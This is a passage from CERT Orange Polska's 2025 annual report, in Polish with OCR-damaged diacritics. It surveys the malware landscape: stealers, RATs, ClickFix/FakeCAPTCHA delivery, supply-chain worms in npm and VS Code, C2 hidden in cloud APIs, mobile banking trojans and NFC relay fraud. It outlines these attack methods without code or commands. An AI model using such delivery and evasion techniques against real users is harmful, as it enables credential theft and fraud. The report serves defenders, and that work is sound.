Przedstawiona perspektywa CERT Orange Polska na swiat malware jest
potaczeniem danych pochodzacych z sond analizujgcych nasza siec,
analiz z zakresu cyber threat intelligence oraz threat huntingu.
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Najczesciej wystepujace zdarzenia w 2025 roku
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Malware

Vlalware na stacje robocze

W ostatnich latach sledzenie dynamicznie rozwijajacego sie
krajobrazu ztosliwego oprogramowania staje sie coraz trud-
niejsze. Model Malware-as-a-Service, budowanie kampanii
z modutéw pochodzacych od réznych dostawcédw oraz
rozrastajgce sie projekty open source utrudniajg wigzanie
kampanii z konkretnymi twércami i podazanie za konkret-
na rodzing malware. Jasne jednak pozostajg motywacje
atakujgcych.

Operatorzy kampanii ztosliwego oprogramowania, uderzajg-
cego masowo w uzytkownikéw internetu i firmy, maja zwykle
jeden nadrzedny cel: wzbogaci¢ sie. Realizuja go jednak

na wiele sposobdw i Sciezkami o zréznicowanej dtugosci.
Pozostajg, oczywiscie, atakujacy, ktérzy infekuja w celu
pozyskania danych lub dostepéw umozliwiajgcych dalsze
ataki. Nalezy takze pamieta¢ o atakach na precyzyjnie zde-
finiowang grupe celéw. W takich przypadkach pojawiaja sie
motywacje ideologiczne i strategiczne, ale takze aktywnosc¢
w ramach cyberwojny.

Stealery - kradziez danych

Na szczycie listy najpopularniejszych typow ztosliwego oprogramowania na stacje robocze nadal pozostaja stealery. Opro-
gramowanie kradngce dane jest wcigz dystrybuowane masowo, dociera do ofiar za posrednictwem zréznicowanych metod
- reklam, foréw, a nawet filméw na YouTube. Najczesciej dystrybuowane w modelu MaaS (Malware-as-a-Service), sprzeda-
wane w modelu subskrypcyjnym lub (rzadziej) w formie dostepu do kodu zZrédtowego. Niezmiennie rynek ten charakteryzuje
sie duza konkurencja miedzy twdércami ztosliwego oprogramowania. Zwigksza to dynamike rozwoju stealeréw i skutkuje
wdrazaniem nowych funkcji, skuteczniejszym unikaniem wykrycia oraz optymalizacjg dziatania. Duza konkurencja na rynku
malware mogta zmotywowac twércéw do przepisania kodu Vidar Stealera z C++ na C, co poprawito jego wydajnosé. Rok
2025 przynidst rowniez szeroko zakrojone akcje stuzb wymierzone w dostawcow stealerow.

TOP10 stealerow wykrywanych w 2025 roku
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0T : : Metody ochrony i budowania Dziatania cyberprzestepcow
Prognozy i kierunki rozwoju cyberodpornosci i metody atakow

Chronimy i pomagamy

Raport CERT Orange Polska 2025

RAT - przejecie kontroli nad urzadzeniem

Remote Access Trojan to ztosliwe oprogramowanie stuzgce do przejecia kontroli nad zainfekowanym urzgdze-
niem. W zaleznosci od konkretnego przebiegu ataku dziatania podejmowane po uzyskaniu dostepu i ustanowieniu
komunikacji moga by¢ r6zne. Nowoczesne RAT-y, poza mozliwoscig wykonywania kodu na urzadzeniu, daja takze
mozliwos$¢ instalacji dodatkowych modutéw odpowiadajacych za inne ztosliwe dziatania, takich jak: keylogging,
»Clipping” (podmienianie zawartosci schowka, np. portfeli kryptowalutowych), kradziez danych, robienie zrzutéw
ekranu, nagrywanie obrazu z kamery urzadzenia i przeprowadzanie atakdw DDoS. Szczegdlnie rozwijajacym sie
pod tym katem przyktadem jest XWorm, w ktérym pojawit sie modut umozliwiajacy szyfrowanie danych, stwarzajac
tym samym potencjat wykorzystania go jako ransomware.

TOP10 RAT-ow wykrywanych w 2025 roku
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Botnet - wiaczenie urzadzenia do sieci botéow

Malware okreslany jako botnet jest stosowany do infekcji stacji, ktére majg zosta¢ wtaczone do sieci botéw. Taka
sie¢ moze stuzyé poézniej do przeprowadzania atakéw DDoS, posredniczenia w ztosliwym ruchu jako proxy i in-
nych szkodliwych dziatan. Ze wzgledu na ich liczebno$¢ do botnetéw naleza takze urzadzenia typu loT (Internet of
Things). Wiecej o botnetach i skutkach ich wykorzystania mozna przeczyta¢ w artykule podsumowujacym krajo-
braz atakéw DDoS (strona 50).

TOP10 botnetéw wykrywanych w 2025 roku
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Ransomware - szyfrowanie danych

Choc¢ nieobecny w statystykach ze wzgledu na liczbe atakéw
nieporéwnywalng z masowymi infekcjami i innymi typami
malware, ransomware pozostaje istotnym zagrozeniem. Ataki
opieraja sie na szyfrowaniu danych ofiary i szantazu, ktéry ma
na celu wytudzenie okupu za ich odszyfrowanie, wstrzyma-
nie sie od ich opublikowania oraz innych dziatan, jakie moga
przynies¢ szkode firmie lub instytuciji. Sg tez oczywiscie grupy
poszukujace dodatkowych mozliwosci szantazu ofiar. Jed-
nym z takich przyktadéw jest Lunalock, ktéra zaatakowata
platforme dla artystéw i grozita udostepnieniem skradzionych
danych w zbiorach do trenowania sztucznej inteligencji. Poza
tym atakiem nie pojawity sie zadne inne ogtoszenia ze strony
tych ,innowacyjnych” atakujgcych.

Malware

W Swiecie ransomware nieustannie pojawiaja sie nowe
grupy, a inne znikaja. Pierwszego kwietnia 2025 roku
RansomHub, jeden z gtéwnych graczy na rynku Ran-
somware-as-a-Service, zniknat. Wedle doniesien,
afilianci przeniesli sie m.in. na ustugi grupy Qilin, ktéra
obecnie jest uwazana za czotowg oferujgcg ransomware
w tym modelu. Poza grupami dziatajagcym na szeroka
skale pojawiajg sie réwniez atakujacy, ktérzy wraz z in-
formacjg o poczatku swojej dziatalnosci publikujg dtugie
listy ofiar. Te informacje wywotujg poruszenie i zaintere-
sowanie w srodowisku przestepczym oraz poza nim, ale
w wielu przypadkach okazujg sie blefem. W przypadku
cyberprzestepcéw nalezy ostroznie podchodzié do ich
deklaracji i informacji o nowych grupach atakujacych
powazne cele.

Zaawansowani atakujacy

Wipery - niszczenie danych

Backdoory - szpiegostwo i nie tylko

cert.orange.pl
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Cho¢ z pozoru trojany i robaki odeszty w niepamiec, to
miniony rok przyniést nowoczesne podejscie atakuja-
cych do tych zagrozen. Trojany to z zatozenia ztosliwe
oprogramowanie maskujace sie jako rzeczywiscie
dziatajgce narzedzie, ktérego spodziewa sie ofiara.
Ataki przypominajgce wtasnie taki mechanizm mozna
byto zaobserwowaé w rozszerzeniach do przegladarek
internetowych i Srodowisk programistycznych.

Jednym z przyktadéw byt zesztoroczny atak z wykorzy-
staniem malware GlassWorm, ktéry zostat wstrzykniety
w jedna z wtyczek do Visual Studio Code. Zainsta-
lowanie wtyczki z takim implantem moze nie dawac
jasnych oznak ztosliwej aktywnosci, lecz w tle malware
kradnie i eksfiltruje specjalnie wyselekcjonowane dane.
GlassWorm kradnie dane dostepowe do NPM, GitHub
i Git, by umozliwi¢ dalsza propagacje infekcji. tudzaco
przypomina to, niegdy$ powszechniejszy, mechanizm
dziatania robakéw komputerowych.

W zesztym roku znacznie gto$niejszymi incydentami

z wykorzystaniem nowoczesnego ,robaka” byty ataki
na taricuch dostaw oprogramowania NPM. ,Shai-
-Hulud” propagowat si¢ sam miedzy kolejnymi paczka-
mi NPM, pozyskujac kluczowe do dalszego dziatania
poswiadczenia i upubliczniajgc na GitHubie prywatne
repozytoria, do ktérych pozyskat dane dostepowe.

Wykorzystanie przez atakujgcych wtyczek i paczek
jako celu nie jest przypadkowe. katwiejsza instalacja,
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czesto niewymagajgca podwyzszonych uprawnien,
oraz ograniczona kontrola nad rozszerzeniami, na-

wet w srodowiskach korporacyjnych, sprawiaja, ze to
atrakcyjna alternatywa dla cyberprzestepcéw. Zaréwno
w przegladarce, jak i w srodowisku programistycznym
przestepcy moga znalez¢ dostatecznie duzo wartoscio-
wych danych, by nie musie¢ siega¢ do dysku kompu-
tera. Przechwytywanie danych wpisywanych w oknie,
podmienianie formularzy logowania czy przeszukiwanie
kodu pod katem poswiadczen moga okazac sie dosta-
tecznie skuteczne.

W zesztym roku zaobserwowalismy wykorzystanie
metod typu ClickFix i FakeCAPTCHA na masowa skale.
Ta metoda, opierajgca sie na samodzielnym wykonaniu
przez uzytkownika komendy inicjujgcej infekcje, jest

z naszej perspektywy jedng z obecnie najistotniejszych
metod dostarczania ztosliwego oprogramowania. Click-
Fixéw nie dotycza filtry w poczcie elektronicznej ani nie
wymagajg one od ofiary pobrania i uruchomienia ztosli-
wego pliku. Polegajg one na wykorzystaniu przez ofiare
skrotu klawiszowego otwierajacego okno ,,Uruchom”

i wklejeniu w nie komendy, ktéra jest juz w schowku
urzgdzenia. Atakujacy korzystajg z przyzwyczajenia
uzytkownikéw do wykonywania przeréznych zadan
realizowanych w ramach weryfikacji CAPTCHA i ich
nieswiadomosci w zakresie szczegoétéw dziatania sys-
teméw Windows. W ten sposéb sa dostarczane przede
wszystkim najpopularniejsze w danym okresie stealery,
m.in.: Lumma, Vidar, StealC czy Rhadamanthys. Po-
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pularnos¢ ClickFixéw nie omineta takze atakujacych wy-
bierajgcych RATy, tym samym w atakach obserwowalismy
takze XWorm i NetSupport RAT. Ztosliwe oprogramowanie
nie omija juz systeméw macOS. Jezeli podczas odwiedzenia
strony z FakeCAPTCHA zostanie wykryty macOS, dostar-
czany jest dopasowany do niego payload. W takich atakach
mozna byto spotka¢ chociazby malware AMOS (Atomic
macOS stealer).

Podobng selekcje ztosliwego oprogramowania mozna za-
uwazy¢ przy pobieraniu plikéw podajacych sie za ,mody” do
gier, pirackie oprogramowanie lub filmy. Instrukcje instalacji
lub otwarcia ofiary znajduja na forach, w mediach spotecz-
nosciowych lub nawet w filmikach na platformie YouTube.
Wyraznie obserwujemy trend pojawiania sie malware wsze-
dzie tam, gdzie sg obecnie uzytkownicy. Nowe komunikatory
czy Swiat gier — zadne $rodowisko nie jest dla atakujgcych
nieosiggalne, a im mniej uzytkownicy spodziewajg sie napo-
tka¢ tam ztosliwe tresci, tym tatwiej doprowadzi¢ do infekcji
ich urzadzen.

Mimo pojawienia sie bardziej nowoczesnych metod, ztosli-
we oprogramowanie nadal jest dystrybuowane za posred-
nictwem wiadomosci e-mail z zatgcznikiem (lub linkiem do
pobrania pliku). W Polsce obserwowalismy takie kampanie
dostarczajgce znane od lat malware, m.in. RATy Remcos

i Quasar oraz stealery PureLogs i XLoader (nowsza wersja
Formbooka). Pojawiaty sie takze nowe, w tym stealer Dark
Cloud. Swiadczy to o nieustannej skutecznosci tej metody
dotarcia do ofiar, a wiadomosci zachecajgce do otwarcia
zatgcznika wygladaja coraz wiarygodniej dzieki mozliwosci
wykorzystywania LLM-6w przez atakujgcych.

Istotnym trendem w $wiecie ztosliwego oprogramowania
stata sie modutowos$¢ zaréwno konkretnych rodzin malware,
jak i catych atakow. Oferujacy ustugi w modelu MaaS zwigk-
szajg konkurencyjnosé swoich ustug, oferujac dodatkowe
funkcje i mozliwo$¢ dostosowania kazdej infekcji. Moze to
by¢ szczegdlnie istotne w obliczu opcji skorzystania z mal-
ware open source, ktéry z pomoca ,,vibe codingu”, czyli pro-
gramowania wspomaganego agentami Al, ma potencjat sta¢
sie tworem doktadnie dopasowanym do potrzeb twércy.

Modutowa budowa i szybka ewolucja ztosliwego oprogra-
mowania sprawiajg, ze kazda infekcja musi by¢ analizowana
indywidualnie. Nalezy sprawdzié, do ktérego etapu doszedt
atak, jaka wersja zostata wykorzystana akurat w tym przypadku
i jakie niesie to konsekwencje. Jakie konkretnie dane zostaty
skradzione? W jaki sposdb atakujgcy zapewnit sobie trwaty
dostep do urzadzenia? Odpowiedzi na te pytania nie sa tatwe.

Gtéwnym motywem wiekszosci atakdw z wykorzystaniem
ztosliwego oprogramowania jest kradziez danych. Nawet
Remote Access Trojany realizujg analogiczne funkcje jak
stealery, zbierajgc zblizone zestawy informacji lub plikéw

z zainfekowanych stacji. Zauwazalne jest skupienie sie
atakujgcych na dziataniach przynoszacych zyski szybko i ni-
skim kosztem. Z tego wzgledu w konfiguracjach ztosliwego
oprogramowania widoczne jest szczegdlne zainteresowanie
portfelami kryptowalutowymi, poswiadczeniami i innymi da-
nymi dostepowymi. Zamiast szantazowac ofiare nagraniami
z kamery komputera lub kompromitujacymi zrzutami ekranu,
atakujacy moga ukras¢ dane i szybko je sprzedac.
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Stwarza to warunki do powstawania miejsc sprzedazy
kradzionych dostepoéw, gdzie kupuja je inni przestepcy
zainteresowani konkretnymi celami lub realizujgcy ataki
w ramach konkretnej platformy. Tego typu srodowi-
ska skupujace poswiadczenia i wykorzystujace je do
przejmowania kont sg widoczne chocéby w przypadku
kont na Booking.com. Mozliwosci jest jednak mnéstwo:
konta w mediach spotecznosciowych i streamingi, cia-
steczka sesyjne gier i komunikatoréw czy wartosciowe
poswiadczenia umozliwiajgce dostep do infrastruktur
duzych organizacji. Tym samym kradnacy dane nie
musi by¢ zaangazowany w ataki z ich wykorzystaniem.

W tanicuchach atakéw wyraznie widoczny jest podziat
na etapy realizowane przez rézne grupy lub przy ich
wsparciu. Atakujacy korzystajg z dostepdw, malware

i narzedzi dostarczanych przez réznych dostawcéw.
Tworzy to rézne role w tym srodowisku przestepczym
— operatorzy rozwigzan Maas, ,trafferzy” zajmujacy
sie dostarczaniem malware do ofiar czy Initial Access
Brokers handlujacy skradzionymi danymi. Odpowie-
dzialno$¢ za kampanie sie rozmywa, a poczatkujacy
przestepcy nie musza mieé specjalnych umiejetnosci,
by realizowa¢é takie kampanie. Znaczaco obniza to prég
wejscia, tym samym sprawiajgc, ze takie ataki sg coraz
czestsze.

Jednym z gtéwnych zatozen ztosliwego oprogramo-
wania jest unikniecie wykrycia przez systemy bez-
pieczenstwa. Istotne jest wtopienie sie w naturalne
dziatania uzytkownika i jego ruch sieciowy. Metod
na ominiecie zabezpieczen jest wiele, ale kilka z nich
byto w 2025 roku na tyle zauwazalnych, ze mozna je
nazwac trendami.

Na realizowanie komunikacji Command and Control
(C2) atakujacy majg wiele pomystéw. Od lat powszech-
ne jest wykorzystanie API Telegrama i Discorda do eks-
filtracji danych oraz komunikacji umozliwiajgcej zdalng
kontrole nad ztosliwym oprogramowaniem. Obecnie
pojawiajg sie réwniez inne systemy, ktérych API jest
naduzywane w ten sposéb. Malware SesameOp ko-
rzystato z API OpenAl Assistants, Airstalk z AirWatcha,
a FINALDRAFT z Microsoft Graph. Taka komunikacje
znacznie trudniej odrézni¢ od standardowego ruchu
sieciowego w organizacji. Zaobserwowalismy takze
alternatywne metody komunikaciji, tak jak w przypadku
TorNet Backdoor, ktéry routowat ruch C2 za pomoca
sieci TOR.

W celu ominiecia mechanizméw zabezpieczajgcych
atakujacy korzystajg takze z mechanizmu aktualizaciji,
ktory moze by¢ gorzej monitorowany niz proces instala-
cji czy publikacji oprogramowania na znanych platfor-
mach. Tak byto w przypadku gry ,BlockBlasters”, ktéra
znalazta sie na Steam po weryfikacji bezpieczenstwa,
lecz w pdzniejszej aktualizacji zostata ,,wzbogacona”

o ztosliwe oprogramowanie — loader, ktéry dostarczat

stealera StealC. Pokazato to zaréwno stabosci procesu
weryfikacji gier tam publikowanych, jak i szerszg per-
spektywe na zagrozenie, jakie niesie ze sobg niedosta-
teczne weryfikowanie aktualizacji oprogramowania.

W przypadku ztosliwego oprogramowania dystrybu-
owanego w modelu MaaS na pozycje w zestawieniu
i powszechnos$¢ w atakach moze wptywaé poziom
produktu oraz ustug oferowanych przez operatoréw
malware, ale tez czynniki zewnetrzne. Nalezg do nich
akcje stuzb, ktérych w minionym roku nie brakowato.

Do najgtosniejszych mozna zaliczy¢ majowe ogtoszenie
trwajgcej od marca akcji zaktécajgcej dziatalnosé Lum-
ma Stealera, ktéry wyraznie plasowat sie na szczytach
rankingéw najpopularniejszych stealeréw. Dziatania
Europolu wraz z Microsoftem byty wyraznym ciosem
dla infrastruktury Lummy, przez co zanotowalismy
wyrazne spadki w liczbie obserwowanych prébek tego
ztosliwego oprogramowania.

Rynek Maa$S nie znosi prézni, wigc afilianci, czyli
przestepcy korzystajacy z ustug konkretnego dostaw-
cy, zaczeli korzystac¢ z malware innych grup. Poniewaz
dziatania stuzb skupity sie przede wszystkim na zakité-
ceniu infrastruktury C2 Lummy, dziatalnos¢ tej grupy
nie znikneta zupetnie. Zgodnie z przewidywaniami
operatorzy przywrécili funkcjonowanie Lumma Steale-
ra, korzystajac z serweréw na terenie Rosji, gdzie ich
unieszkodliwienie jest znacznie utrudnione.

Operation Endgame uderzyto takze w infrastruktu-

re i grupy powigzane z innymi rodzinami ztosliwego
oprogramowania, np.: Danabot, Smokeloader, Latro-
dectus i Rhadamanthys. Ten ostatni, cho¢ konkurowat
powszechnoscig w atakach z innymi stealerami, nie
znidst akcji zaktocajgcych jego funkcjonowanie réwnie
dobrze. Rézne efekty dziatan stuzb moga wynika¢ m.in.
z wyjsciowej pozycji twércéw ztosliwego oprogramowa-
ni na rynku przestepczym i ich zaawansowania.

Cho¢ doswiadczenie pokazuje, ze akcje stuzb nie
zawsze zupetnie eliminujg dany malware, kazde takie
dziatanie jest ciosem wartym zadania. Przejecie infra-
struktury zawsze bedzie skutkowato koniecznoscia
kosztownej odbudowy, a pozyskanie przez stuzby da-
nych afiliantow i kanatéw komunikacji powoduje utrate
zaufania klientéw do operatoréw malware. Najskutecz-
niejsze jednak zwykle sg aresztowania, ktére uniemoz-
liwiajg przestepcom dalsze prowadzenie szkodliwej
dziatalnosci. Okazato sie to skuteczng formg zwalczenia
VenomRAT (modyfikacja Quasar RAT), ktérego twoérca
zostat zatrzymany w 2025 roku.

Statystyki dotyczgce mobilnego malware z ostatniego
roku pokazuja, ze w naszej cyberprzestrzeni dominu-



ja zagrozenia masowe, silnie zautomatyzowane i oparte na
naduzyciach ekosystemu reklamowego, ustug premium SMS
oraz mechanizméw przejmowania sesji i tozsamosci uzyt-
kownikéw. Klasyczne trojany bankowe, cho¢ nadal obecne
w krajobrazie zagrozen, schodzg ilosciowo na dalszy plan.

Najliczniejszg kategorig pozostaje adware i fraud reklamowy,
reprezentowany przede wszystkim przez HiddenAds oraz
Badbox. Jest to czytelny sygnat, ze atakujgcy w dalszym cig-
gu preferujg skale nad wyrafinowanie. Masowe infekcje dar-
mowymi aplikacjami, czesto dystrybuowanymi poza Google
Play lub w ramach krétkotrwatych kampanii w oficjalnym skle-
pie, generujg stabilny przychdd przy relatywnie niskim ryzyku
operacyjnym. W przypadku Badbox dodatkowo widoczny jest
trend kompromitacji taricucha dostaw oraz preinstalowanego
oprogramowania, co przesuwa punkt wejscia ataku coraz
blizej producenta i dystrybutora urzadzen, a coraz dalej od
samego uzytkownika.

Rozktad procentowy
poszczegolnych wykrytych
ztosliwych aplikacji mobilnych

Rysunek 7.
3,45%

28,27%

19,21%

HiddenAds - 28,27 % [ |
Badbox - 19,21%
HookBot - 16,37%
Joker_Spy - 11,77%
Void - 8,45%
SMSPVA - 8,02%
Triada — 3,45%
Aesimus - 1,41%
Necro - 0,51%

Alien - 0,47%
Ermac - 0,46%
Coper - 0,46%
CashSMS - 0,35%

Cerberus - 0,31%
hydra - 0,21%
Guerilla-0,17%
Anubis - 0,02%
Crocodilus — 0,02%
DCHSpy - 0,01%
SMSFactory — 0,01%
Flubot — 0,01%
BlackRock — 0,01%
Anatsa - 0,01%
Godfather — ~0,00%
Medusa - ~0,00%
SpyNote — ~0,00%

Drugim silnym nurtem sg zagrozenia oparte na naduzyciach
SMS oraz ustug premium. Rodziny, takie jak: SMSPVA,
CashSMS, SMSFactory czy czesciowo Joker_Spy, pokazuja, ze
model ,,cichej” monetyzacji poprzez subskrypcije i jednorazowe
optaty pozostaje skuteczny, zwtaszcza w regionach, w ktérych

Malware

rozliczenia z operatorem sg gorzej kontrolowane. Stanowi to
istotne przesuniecie wzgledem wczesniejszych lat, gdy malware
SMS-owe byto postrzegane jako zagrozenie schytkowe. Obecnie
wraca ono w bardziej modularnej, lepiej ukrytej i trudniejszej do
wykrycia formie.

Jednoczesnie obserwujemy ewolucje trojanéw bankowych w kie-
runku malware o charakterze uniwersalnym, faczacego funkcje
finansowe, szpiegowskie oraz zdalnego dostepu. Rodziny, takie
jak: HookBot, Ermac, Alien, Coper, Cerberus, Anatsa, Godfather
czy Medusa, pokazujg, ze cho¢ liczebnie ustepujg adware, to pod
wzgledem potencjatu operacyjnego stajg sie coraz grozniejsze.
Coraz czgsciej celem nie jest juz wytacznie kradziez danych ban-
kowych, lecz peine przejecie sesji uzytkownika, obejscie mecha-
nizmdéw MFA, wykorzystanie overlayéw na aplikacje finansowe,

a nawet dtugotrwata kontrola catego urzadzenia.

Rozktad kategorii
ztosliwych aplikaciji
mobilnych

2.59% Rysunek 8.

0,04% 0.02%

25.06%

72,28%

B Adware / malwere systrybucyjne — 72,28%

B Malware’y bankowe (overlay / fraud) — 25,06%
Mobile RAT / Spyware — 0,04%
Backdoory / droppers / Maa$S - 2,59%

B Pozostate / testowe — 0,02%

Osobng, lecz bardzo istotng kategorie stanowia malware’y sys-
temowe oraz frameworki o szerokim spektrum zastosowan, takie
jak: Triada, Necro czy Void. Ich obecnos¢ wskazuje na utrzymu-
jaca sie aktywnos$¢ zagrozen dziatajgcych gteboko w systemie
operacyjnym, czesto z uprawnieniami umozliwiajgcymi dofa-
dowywanie kolejnych modutéw. Stanowia one fundament pod
dalsze kampanie - zaréwno reklamowe, jak i finansowe —i sg
kolejnym dowodem na to, ze ataki mobilne coraz rzadziej maja
charakter jednowymiarowy.

Na koncu zestawienia znajdujg sie klasyczne RAT-y i spyware,
takie jak: SpyNote, DCHSpy czy Anubis. Cho¢ ich liczebnos¢
pozostaje niewielka, znaczenie operacyjne tych narzedzi jest wy-
sokie. Sg wykorzystywane giéwnie w kampaniach o charakterze
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szpiegowskim i wpisujg sie w trend atakéw na konkretne,
wybrane grupy uzytkownikéw, a nie na rynek masowy.

Zebrane dane pokazujg wyraznie, ze to, co dominuje w sta-
tystykach, niekoniecznie stanowi najwieksze zagrozenie.
Najwiecej wykry¢ generuja dzi$ proste, masowe kampanie
— gtéwnie adware oraz malware SMS-owe. Sg one tatwe do
skalowania, krétkotrwate i nastawione na szybki, niskory-
zykowny zysk. Z tego powodu silnie wptywajg na staty-
styki, lecz rzadko przesgdzajg o kierunku rozwoju catego
ekosystemu zagrozen.

Rzeczywisty ciezar operacyjny atakéw przesuwa sie jednak
w inng strone. Coraz wigksze znaczenie majg zagrozenia,
ktére nie skupiaja sie na jednorazowej kradziezy, lecz na
dtugotrwatym przejeciu urzadzenia i tozsamosci uzyt-
kownika. W tym sensie mobilny krajobraz zagrozen coraz
bardziej przypomina to, co od lat obserwujemy na kompu-
terach stacjonarnych: masowe, ,tanie” kampanie na dole
piramidy oraz bardziej zaawansowane, dtugofalowe opera-
cje na jej szczycie. Réznica polega na tym, ze w przypadku
urzgdzen mobilnych monetyzacija jest silniej powigzana

z codziennym ekosystemem uzytkownika — operatorem,
subskrypcjami, aplikacjami i ustugami stale zintegrowanymi
z tozsamoscig cyfrowa.

Cho¢ dane ilosciowe wskazuja, ze klasyczny malware
bankowy — oparty na mechanizmach overlay, falszy-

wych formularzach logowania oraz podszywaniu sie pod
aplikacje bankowe — nadal wystepuje w cyberprzestrzeni,
to w ostatnim roku widoczne jest systematyczne przesu-
wanie sie modelu uzycia na rzecz mobilnych RAT-éw oraz
rozwigzan o charakterze szpiegowskim. Zmiana ta nie ma
charakteru gwattownego ani masowego, lecz jest wyraznie
strategiczna i kierunkowa.

Tradycyjne trojany bankowe, takie jak Cerberus, Alien,
Ermac czy Anubis, bazujg na dobrze znanym i wielokrotnie
replikowanym schemacie: infekcji urzagdzenia, uzyskaniu
uprawnien Accessibility, wykorzystaniu naktadek oraz kra-
dziezy danych uwierzytelniajgcych lub przejeciu sesji uzyt-
kownika. Model ten staje sie jednak coraz mniej efektywny.
Wynika to zaréwno z rosnacej $wiadomosci uzytkownikéw,
jak i z postepujgcego wzmacniania mechanizméw anty-
fraudowych po stronie bankéw, a takze z konsekwentnego
ograniczania przez system Android mozliwosci naduzywa-
nia ustug dostepnosci i wyswietlania overlayéw. W rezulta-
cie koszt utrzymania skutecznej kampanii bankowej rosnie,
a jej operacyjna ,,zywotnos¢” znacznie sie skraca.

W odpowiedzi na te ograniczenia obserwowany jest zwrot
w kierunku malware wielofunkcyjnego, dziatajgcego jako
petnoprawny, mobilny RAT. Rodziny takie jak SpyNote,

a takze nowe, niszowe konstrukcje pokroju Crocodilusa,
nie sg projektowane pod jeden scenariusz ataku. Zamiast

tego oferujg szerokie spektrum funkcjonalnosci, obejmuja-
ce: zdalne sterowanie urzadzeniem, podstuch, przechwy-
tywanie obrazu ekranu, keylogging, dostep do plikow,
wiadomosci SMS i komunikatoréw, a w razie potrzeby
réwniez realizacje fraudéw finansowych.

Bankowos$¢ przestaje by¢ celem samym w sobie i staje
sie jednym z wielu wektoréw monetyzacji. Mobilny RAT
zapewnia operatorowi znacznie wiekszg elastycznosc
operacyjna: umozliwia dtugotrwatg obserwacje uzyt-
kownika, precyzyjne dobranie momentu ataku, obejscie
zabezpieczen behawioralnych bankéw, a nawet od-
sprzedaz dostepu do zainfekowanego urzagdzenia innym
podmiotom. Jest to bezposrednia analogia do modelu,
ktéry wezesniej ugruntowat sie w ekosystemie malware
desktopowego.

Niski wolumen nowych rodzin RAT nie powinien by¢
interpretowany jako niskie znaczenie operacyjne. Wrecz
przeciwnie, tego typu malware czesto rozpoczyna swoja
obecnos¢ jako kampanie testowe, stuzgce walidacji sku-
tecznosci technicznej i odpornosci na detekcje. Dopiero po
ich dopracowaniu nastepuje skalowanie, czesto pod inng
nazwa lub w ramach wigkszych platform typu MaaS. Z tej
perspektywy pojawienie sie takich rodzin jak SpyNote czy
Crocodilus nalezy traktowac jako sygnat kierunkowy, a nie
jedynie statystyczng ciekawostke.

Analiza obserwacji pokazuje, ze mobilne malware bankowe
nie zanika, lecz ewoluuje w kierunku rozwigzan bardziej
uniwersalnych, trudniejszych do wykrycia i lepiej przysto-
sowanych do diugotrwatych operacji. Mechanizmy overlay
oraz falszywe aplikacje bankowe coraz czesciej stanowig
tylko jeden z komponentow wiekszego ekosystemu, a nie
fundament catej kampanii. Dla zespotéw CTl i SOC ozna-
cza to koniecznos¢ odejscia od uproszczonego podziatu na
sbanker vs. adware” i traktowania mobilnych RAT-éw jako
petnoprawnej, strategicznej klasy zagrozen.

W tym samym czasie, gdy nastepuje przejscie od klasycz-
nych trojanéw bankowych ku mobilnym RAT-om i spy-
ware, coraz wyrazniej rysuje sie nowy wyspecjalizowany
wektor ataku oparty na technikach NFC Relay. Cho¢
wolumenowo zagrozenia tego typu pozostajg marginalne
w poréwnaniu do masowego malware mobilnego, ich
potencjalny wptyw operacyjny i finansowy jest niepropor-
cjonalnie wysoki.

Analiza przypadkéw obserwowanych w Polsce wskazuije,
ze ataki NFC Relay sa szczegdlnie trudne do monitoro-
wania oraz wykrycia zaréwno po stronie uzytkownika, jak

i instytucji finansowych. W przeciwienstwie do klasycz-
nych trojanéw bankowych, ktére ingeruja bezposrednio

w aplikacje mobilng banku, scenariusz NFC Relay catko-
wicie omija ten etap. Atakujgcy przechwytujg komunikacje
NFC pomiedzy kartg ptatniczg a urzgdzeniem mobilnym

i przekazuja jg w czasie rzeczywistym do zdalnej infrastruk-



tury, umozliwiajgc realizacje transakciji lub wyptat gotowki bez
fizycznej obecnosci karty przy terminalu.

Szczegdlnie istotne jest to, ze obserwowane kampanie wykorzy-
stujg skomercjalizowane wersje narzedzi badawczych, pierwot-
nie przeznaczonych do analizy bezpieczerstwa protokotéw NFC.
Kod ten jest adaptowany w sposéb patchworkowy i integrowany
z mechanizmami socjotechnicznymi — fatszywymi aplikacjami
bankowymi, komunikatami w jezyku polskim oraz scenariuszami
~weryfikaciji karty”, ktére skianiaja ofiare do przytozenia karty

i podania numeru PIN. W efekcie dochodzi do petnego przenie-
sienia zaufania uzytkownika na kanat NFC, dotychczas czesto
postrzegany jako relatywnie bezpieczny.

Z perspektywy obronnej NFC Relay stanowi jakosciowo nowe
wyzwanie. Atak ten nie wymaga przejecia sesji aplikacji banko-
wej, nie opiera sie na overlayach ani naduzyciach Accessibility,
a jego kluczowa faza odbywa sie poza widocznoscig standar-
dowych mechanizméw antyfraudowych. Co wiecej, finalizacja
fraudu nastepuje czesto w bardzo krétkim, zsynchronizowanym
oknie czasowym, co dodatkowo utrudnia korelacje zdarzen.

Istotne jest réwniez to, ze Polska jawi sie jako obszar szczegol-
nej aktywnosci tego typu kampanii, co moze wynika¢ zaréwno
z wysokiej adaptacji ptatnosci zblizeniowych, jak i ze skuteczno-
ci lokalnie dopasowanej socjotechniki. W potgczeniu z ob-
serwowang ewolucja na rzecz mobilnych RAT-6w zagrozenia
NFC Relay wpisujg sie w szerszy trend odchodzenia od atakéw
czysto aplikacyjnych na rzecz przejmowania catych kanatéow
pfatniczych i interfejsow systemowych.

Mobilne RCS w kampaniach
obserwowanych w Polsce

Niezaleznie od opisanych trendéw wykorzystujgcych techniki NFC
Relay w ostatnim okresie widoczna jest w Polsce rosngca liczba
prébek i kampanii z wykorzystaniem malware apk.spyfrptunnel
klasy fVNC. Potwierdza to przesuwanie sie ekosystemu mobilnych

Podsumowanie

Malware

zagrozen w strone ukierunkowanych, operatorskich modeli ataku.
W przeciwienstwie do klasycznych trojanéw bankowych rozwia-
zania te nie sg projektowane z myslg o masowej dystrybuciji, lecz
o petnej i diugotrwatej kontroli nad wybranymi urzadzeniami.

Analiza apk.spyfrptunnel wskazuje, ze mamy do czynienia

z mobilnym malware o charakterze RCS (Remote Control Sys-
tem), ktéry taczy funkcje spyware z interaktywnym dostepem

w czasie rzeczywistym. Kluczowym elementem tej architektury
jest rozdzielenie kanatéw komunikacyjnych: sygnalizacyjnego,
zarzgdzajacego oraz wtasciwego kanatu operacyjnego. Wyko-
rzystanie Firebase Cloud Messaging jako mechanizmu wyzwala-
nia akcji pozwala operatorowi sterowac infekcja bez generowa-
nia typowych wzorcéw beaconingu (regularne komunikowanie
sie z infrastrukturg atakujacego w celu pobierania polecen do
wykonania), skutecznie maskujac aktywnosc w legalnym ruchu
systemowym Androida.

Witasciwy dostep realizowany jest poprzez tunel Fast Reverse
Proxy, zestawiany dynamicznie i wytacznie na zgdanie operato-
